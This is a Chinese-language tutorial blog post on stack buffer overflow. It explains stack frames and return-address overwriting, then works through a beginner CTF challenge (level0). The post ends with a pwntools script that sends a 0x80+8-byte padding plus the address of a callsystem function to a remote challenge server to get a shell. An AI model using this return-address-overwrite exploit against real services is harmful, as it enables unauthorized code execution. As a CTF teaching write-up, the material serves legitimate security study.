栈溢出之覆盖函数返回地址

雨点打透心脏的1/2处 2021-09-21 12:16 418阅读 0赞

### 栈溢出之覆盖函数返回地址 ###

*  原理
 *  利用

# 原理 #

> 栈溢出：栈溢出就是栈上的缓冲区填入过多的数据，超出了边界，从而导致了栈上原有数据被覆盖。

函数调用的时候，会开辟一个**栈帧结构**。首先会将调用的函数的参数入栈,然后依次压入**调用函数的返回地址**和**当前栈底指针寄存器(BP)的值**入栈。其中压入返回地址是通过`call`指令来实现的。  
在函数调用结束的时候，将**栈指针SP**重新指向**帧指针BP**的位置，并弹出**BP**和**返回地址IP**。这样函数状态将恢复成进入子函数的状态，实现了函数栈的切换。

当用`call指令`调用一个函数的时候，首先会将IP寄存器中的值压入栈。然后开一个栈帧结构，一般汇编代码如下：

push %ebp 
    mov %esp %ebp
    ...
    leave
    ret

通过一张图来简单说明：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ljemZ5NTg1_size_16_color_FFFFFF_t_70_pic_center]  
当`call指令`将IP寄存器中的值压入栈后。用`push %ebp`将bp寄存器的值压入栈。  
`mov %esp %ebp`：将esp的值赋给ebp，这时候sp和bp的值相等，栈为空。然后就会将一些局部变量等压入栈，进行相关的操作。  
函数调用结束时，首先用`leave指令`，等价于如下操作：

mov %ebp %esp
    pop %ebp

首先将ebp的值赋给esp，这时sp指针就指向了栈底了。然后`pop %ebp`就还原了**调用函数**BP值。同时esp会+1（向高地址方向）,使得esp指向的是**返回地址**。  
最后ret指令的作用：弹出SP指针指向的内存单元的值（返回地址）。并且程序跳转到该位置处继续执行。

# 利用 #

这里用攻防世界的题目来巩固一下。  
题目:pwn 新手练习 level0

1.  首先查看一下文件的相关情况  
    `pwn checksec level0`  
    ![在这里插入图片描述][20201018224133868.JPG_pic_center]  
    64位的程序，注意到`No canary found`,没有栈哨。这为覆盖函数返回地址提供了条件。
2.  用ida进行静态分析  
    进入main函数，F12查看源码：

![在这里插入图片描述][20201018224714983.JPG_pic_center]

该程序是打印"Hello,world\\n"后，返回了vulnerable\_function()函数。

跟进这个vulnerable\_function()函数。

![在这里插入图片描述][20201018224914271.JPG_pic_center]

发现直接将0x200个数的字符写到了0x80大小的缓冲区。可以直接实现缓冲区溢出漏洞。观察到了有一个`callsystem`函数，跟进一下：  
![在这里插入图片描述][20201018224619134.JPG_pic_center]  
执行后可以直接getshell。

1.  计算偏移地址  
    通过IDA我们可以直接读到缓冲区距离BP指向的位置的距离是`0x80`。这时候我们根据上面画出的栈帧结构图，还需要覆盖掉BP的值，应为这里是64位的程序，所以BP是占8字节的，然后最后是填充`callsystem`函数的地址。在IDA中的函数窗口中可以看到位`0x400596`  
    ![在这里插入图片描述][2020101822554963.JPG_pic_center]  
    4.写脚本getshell  
    最后我们写脚本拿到服务器的shell

from pwn import *
    context(os='linux',log_level='debug') #打印调试信息
    r = remote('220.249.52.133',52305)
    
    r.recvuntil('\n')
    payload='a'*0x80+'b'*8+p64(0x400596)
    r.sendline(payload)
    r.interactive()

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ljemZ5NTg1_size_16_color_FFFFFF_t_70_pic_center 1]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ljemZ5NTg1_size_16_color_FFFFFF_t_70_pic_center]: /images/20210920/7c95e0022cbd40c6aa7b1e5490be39a3.png
[20201018224133868.JPG_pic_center]: /images/20210920/346fa1b194304068b1986981328483e4.png
[20201018224714983.JPG_pic_center]: /images/20210920/caf71f38360d4531ae4e132894de97dc.png
[20201018224914271.JPG_pic_center]: /images/20210920/03b1cff6d8f7470d878c29f9dfafc96e.png
[20201018224619134.JPG_pic_center]: /images/20210920/91ffea76e2bf4516a283bdd761e8c86a.png
[2020101822554963.JPG_pic_center]: /images/20210920/d9f14195bba042e0b79d8198fea13110.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ljemZ5NTg1_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20210920/7daee9a7c39e4e5eab7b3ee2d2896f97.png